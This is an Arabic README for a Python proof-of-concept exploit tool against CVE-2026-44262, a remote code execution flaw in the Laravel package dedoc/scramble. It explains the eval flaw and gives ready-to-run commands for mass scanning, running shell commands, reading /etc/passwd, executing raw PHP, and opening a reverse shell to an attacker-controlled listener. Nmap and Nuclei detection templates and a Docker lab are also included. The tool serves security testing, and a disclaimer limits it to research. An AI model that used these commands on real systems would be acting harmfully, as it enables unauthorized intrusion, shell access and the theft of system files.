dedoc/scramble RCE (CVE-2026-44262) PoC

📜 الوصف

CVE-2026-44262 هي ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في dedoc/scramble، وهو مولّد توثيق واجهات برمجة تطبيقات Laravel.

يستدعي NodeRulesEvaluator::doEvaluateExpression() الدالة extract($variables) قبل eval("return $code;"). عندما يعيّن المتحكم (controller) $request->input() إلى متغير باسم $code ويستخدمه كقاعدة تحقق، يتتبع Scramble ذلك المتغير ويمرره إلى نطاق eval. يمكن للمهاجم استبدال $code بكود PHP عشوائي عبر إرسال معامل استعلام مصمم خصيصًا إلى /docs/api.json.

الإصدارات المتأثرة: dedoc/scramble >=0.13.2, <0.13.22

✨ الميزات

اكتشاف تلقائي — يفحص مواصفات OpenAPI لاكتشاف المعاملات الضعيفة تلقائيًا
اختبار التوقيت — فحص آمن غير معطِّل باستخدام sleep() لتأكيد تنفيذ eval
تنفيذ الأوامر — تشغيل أوامر shell والاستيلاء على المخرجات مباشرة من استجابة HTTP
قراءة الملفات — قراءة أي ملفات من نظام الملفات الهدف
تنفيذ كود PHP — تنفيذ كود PHP خام عبر RCE
قشرة عكسية — قشرة عكسية عبر proc_open في PHP، بدون الحاجة إلى bash أو busybox
مسح جماعي — فحص عدة أهداف من ملف
كشف نظام التشغيل — يكتشف تلقائيًا Windows/Linux/Darwin ويضبط الحمولات وفقًا لذلك
Nmap NSE — سكربت كشف سلبي + توقيت (http-scramble-rce-detect.nse)
قالب Nuclei — كشف من خطوتين مع تأكيد التوقيت (CVE-2026-44262.yaml)

🛠️ التثبيت

لا توجد تبعيات خارجية — يستخدم مكتبة Python القياسية فقط.

macOS / Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

⚙️ الاستخدام

usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
                   [--check] [--command CMD] [--code PHP] [--read-file PATH]
                   [--shell] [--lhost HOST] [--lport PORT] [--os OS]
                   [--useragent USERAGENT] [--timeout SECONDS]

الاكتشاف

# Full detection (timing + exec probe)
python3 CVE-2026-44262.py --target http://example.com/docs/api

# Safe check only — timing probe, no command execution
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

# Override JSON endpoint path
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json

# Bulk scan
python3 CVE-2026-44262.py --targets targets.txt

الاستغلال

# Execute a command
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"

# Read a file
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd

# Execute raw PHP
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"

# Reverse shell (start: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

Nmap و Nuclei (سلبي + توقيت، بدون استغلال)

# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com

# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com

🐋 مختبر Docker

تم تضمين بيئة Docker متكاملة مع التطبيق الضعيف (dedoc/scramble v0.13.21). انظر docker/DOCKER.md للتفاصيل.

cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

🕵🏼 المراجع

📢 إخلاء المسؤولية

هذه الأداة مقدمة للأغراض التعليمية والبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.

CVE-2026-44262

الأكثر شعبية